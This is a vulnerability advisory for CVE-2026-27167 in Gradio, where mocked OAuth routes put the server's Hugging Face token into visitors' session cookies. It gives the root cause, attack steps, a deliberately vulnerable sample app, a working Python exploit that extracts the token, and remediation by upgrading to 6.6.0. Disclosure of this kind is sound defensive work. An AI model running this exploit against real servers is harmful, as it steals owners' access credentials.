CVE-2026-27167: Gradio: Mocked OAuth Login Exposes Server Credentials and Uses Hardcoded Session Secret
Summary
Gradio applications running outside of Hugging Face Spaces automatically enable "mocked" OAuth routes when OAuth components (e.g. gr.LoginButton) are used. When a user visits /login/huggingface, the server retrieves its own Hugging Face access token via huggingfacehub.gettoken() and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string "-v4", making the payload trivially decodable.
Affected Component
gradio/oauth.py — functions attachoauth(), addmockedoauthroutes(), and getmockedoauthinfo().
Root Cause Analysis
1. Real token injected into every visitor's session
When Gradio detects it is not running inside a Hugging Face Space (getspace() is None), it registers mocked OAuth routes via addmockedoauthroutes() (line 44).
The function getmockedoauthinfo() (line 307) calls huggingfacehub.gettoken() to retrieve the real HF access token configured on the host machine (via HFTOKEN environment variable or huggingface-cli login). This token is stored in a dict that is then injected into the session of any visitor who hits /login/callback (line 183):
python request.session["oauthinfo"] = mockedoauthinfo
The mockedoauthinfo dict contains the real token at key accesstoken (line 329):
python return { "accesstoken": token, # <-- real HF token from server ... }
2. Hardcoded session signing secret
The SessionMiddleware secret is derived from OAUTHCLIENTSECRET (line 50):
python sessionsecret = (OAUTHCLIENTSECRET or "") + "-v4"
When running outside a Space, OAUTHCLIENTSECRET is not set, so the secret becomes the constant string "-v4", hashed with SHA-256. Since this value is public (hardcoded in source code), any attacker can decode the session cookie payload without needing to break the signature.
In practice, Starlette's SessionMiddleware stores the session data as plaintext base64 in the cookie — the signature only provides integrity, not confidentiality. The token is readable by simply base64-decoding the cookie payload.
Attack Scenario
Prerequisites
- A Gradio app using OAuth components (gr.LoginButton, gr.OAuthProfile, etc.) - The app is network-accessible (e.g. servername="0.0.0.0", share=True, port forwarding, etc.) - The host machine has a Hugging Face token configured - OAUTHCLIENTSECRET is not set (default outside of Spaces)
Steps
1. Attacker sends a GET request to http://<target>:7860/login/huggingface 2. The server responds with a 307 redirect to /login/callback 3. The attacker follows the redirect; the server sets a session cookie containing the real HF token 4. The attacker base64-decodes the cookie payload (everything before the first .) to extract the accesstoken
Minimal Vulnerable Application
python import gradio as gr from huggingfacehub import login
login(token="hfxxx...")
def hello(profile: gr.OAuthProfile | None) -> str: if profile is None: return "Not logged in." return f"Hello {profile.name}"
with gr.Blocks() as demo: gr.LoginButton() gr.Markdown().attachloadevent(hello, None)
demo.launch(servername="0.0.0.0")
Proof of Concept
python #!/usr/bin/env python3 """ POC: Gradio mocked OAuth leaks server's HF token via session + weak secret Usage: python exploit.py --target http://victim:7860 python exploit.py --target http://victim:7860 --proxy http://127.0.0.1:8080 """ import argparse import base64 import json import sys import requests
def main(): ap = argparse.ArgumentParser() ap.addargument("--target", required=True, help="Base URL, e.g. http://host:7860") ap.addargument("--proxy", default=None, help="HTTP proxy, e.g. http://127.0.0.1:8080") args = ap.parseargs()
base = args.target.rstrip("/") proxies = {"http": args.proxy, "https": args.proxy} if args.proxy else None
# 1. Trigger mocked OAuth flow — server injects its own HF token into our session s = requests.Session() s.get(f"{base}/login/huggingface", allowredirects=True, verify=False, proxies=proxies)
cookie = s.cookies.get("session") if not cookie: print("[-] No session cookie received; target may not be vulnerable.", file=sys.stderr) sys.exit(1)
# 2. Decode the cookie payload (base64 before the first ".") payloadb64 = cookie.split(".")[0] payloadb64 += "=" (-len(payloadb64) % 4) # fix padding data = json.loads(base64.b64decode(payloadb64)) token = data.get("oauthinfo", {}).get("accesstoken")
if token: print(f"[+] Leaked HF token: {token}") else: print("[-] No accesstoken found in session.", file=sys.stderr) sys.exit(1)
if name == "main": main()
Other sources
Gradio is an open-source Python package designed for quick prototyping. Starting in version 4.16.0 and prior to version 6.6.0, Gradio applications running outside of Hugging Face Spaces automatically enable "mocked" OAuth routes when OAuth components (e.g. gr.LoginButton) are used. When a user visits /login/huggingface, the server retrieves its own Hugging Face access token via huggingfacehub.gettoken() and stores it in the visitor's session cookie. If the application is network-accessible, any remote attacker can trigger this flow to steal the server owner's HF token. The session cookie is signed with a hardcoded secret derived from the string "-v4", making the payload trivially decodable. Version 6.6.0 fixes the issue.
— NVD
Affected Software
Remediation
Recommended actions to resolve this vulnerability, in priority order.
- Upgrade
Upgrade
pip/gradioto a version that resolves this vulnerability.Fixed in 6.6.0 - Upgrade
Upgrade
gradioto a version that resolves this vulnerability.Fixed in 6.6.0
Event History
Frequently Asked Questions
What is the severity of CVE-2026-27167?
CVE-2026-27167 is rated as a high-severity vulnerability due to exposure of server credentials.
How do I fix CVE-2026-27167?
To fix CVE-2026-27167, upgrade Gradio to version 6.6.0 or later.
What happens if I don't address CVE-2026-27167?
Failure to address CVE-2026-27167 may result in unauthorized access to sensitive server credentials.
Which versions of Gradio are affected by CVE-2026-27167?
Gradio versions between 4.16.0 and 6.6.0 are affected by CVE-2026-27167.
What specific issues does CVE-2026-27167 introduce?
CVE-2026-27167 introduces issues related to mocked OAuth login that can expose server credentials and uses a hardcoded session secret.